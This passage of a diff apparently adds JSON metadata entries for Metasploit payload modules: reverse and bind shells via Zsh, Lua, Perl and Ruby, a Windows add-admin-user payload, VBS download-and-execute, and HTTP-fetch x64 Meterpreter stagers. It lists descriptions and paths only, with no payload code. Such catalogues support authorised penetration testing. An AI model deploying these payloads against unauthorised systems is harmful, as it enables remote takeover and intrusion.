[ + "Doug Prostko ", + "Wang Yihang " + ], + "description": "Connect back and create a command shell via Zsh. Note: Although Zsh is often\n available, please be aware it isn't usually installed by default.", + "references": [ + + ], + "platform": "Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb", + "is_install_path": true, + "ref_name": "cmd/unix/reverse_zsh", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/adduser": { + "name": "Windows Execute net user /ADD CMD", + "fullname": "payload/cmd/windows/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "hdm ", + "scriptjunkie", + "Chris John Riley" + ], + "description": "Create a new user and add them to local administration group.\n\n Note: The specified password is checked for common complexity\n requirements to prevent the target machine rejecting the user\n for failing to meet policy requirements.\n\n Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/adduser.rb", + "is_install_path": true, + "ref_name": "cmd/windows/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/bind_lua": { + "name": "Windows Command Shell, Bind TCP (via Lua)", + "fullname": "payload/cmd/windows/bind_lua", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "xistence " + ], + "description": "Listen for a connection and spawn a command shell via Lua", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_lua.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_lua", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/bind_perl": { + "name": "Windows Command Shell, Bind TCP (via Perl)", + "fullname": "payload/cmd/windows/bind_perl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz ", + "aushack " + ], + "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_perl.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_perl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/bind_perl_ipv6": { + "name": "Windows Command Shell, Bind TCP (via perl) IPv6", + "fullname": "payload/cmd/windows/bind_perl_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Samy ", + "cazz ", + "aushack " + ], + "description": "Listen for a connection and spawn a command shell via perl (persistent)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_perl_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/bind_ruby": { + "name": "Windows Command Shell, Bind TCP (via Ruby)", + "fullname": "payload/cmd/windows/bind_ruby", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "kris katterjohn " + ], + "description": "Continually listen for a connection and spawn a command shell via Ruby", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-22 05:49:48 +0000", + "path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb", + "is_install_path": true, + "ref_name": "cmd/windows/bind_ruby", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/download_eval_vbs": { + "name": "Windows Executable Download and Evaluate VBS", + "fullname": "payload/cmd/windows/download_eval_vbs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "scriptjunkie" + ], + "description": "Downloads a file from an HTTP(S) URL and executes it as a vbs script.\n Use it to stage a vbs encoded payload from a short command line.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb", + "is_install_path": true, + "ref_name": "cmd/windows/download_eval_vbs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/download_exec_vbs": { + "name": "Windows Executable Download and Execute (via .vbs)", + "fullname": "payload/cmd/windows/download_exec_vbs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "scriptjunkie" + ], + "description": "Download an EXE from an HTTP(S) URL and execute it", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb", + "is_install_path": true, + "ref_name": "cmd/windows/download_exec_vbs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/generic": { + "name": "Windows Command, Generic Command Execution", + "fullname": "payload/cmd/windows/generic", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "juan vazquez " + ], + "description": "Executes the supplied command", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-11-04 00:33:03 +0000", + "path": "/modules/payloads/singles/cmd/windows/generic.rb", + "is_install_path": true, + "ref_name": "cmd/windows/generic", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_named_pipe": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_tcp_rc4": { + "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/bind_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_http": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_https": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_named_pipe": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp_rc4": { + "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_tcp_uuid": { + "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_winhttp": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/custom/reverse_winhttps": { + "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": { + "name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/encrypted_shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/encrypted_shell_reverse_tcp": { + "name": "HTTP Fetch, Windows Encrypted Reverse Shell", + "fullname": "payload/cmd/windows/http/x64/encrypted_shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn an encrypted command shell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/encrypted_shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/exec": { + "name": "HTTP Fetch, Windows x64 Execute Command", + "fullname": "payload/cmd/windows/http/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nExecute an arbitrary command (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/loadlibrary": { + "name": "HTTP Fetch, Windows x64 LoadLibrary Path", + "fullname": "payload/cmd/windows/http/x64/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "scriptjunkie", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nLoad an arbitrary x64 library path", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/loadlibrary", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/messagebox": { + "name": "HTTP Fetch, Windows MessageBox x64", + "fullname": "payload/cmd/windows/http/x64/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "pasta " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/meterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/meterpreter/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ 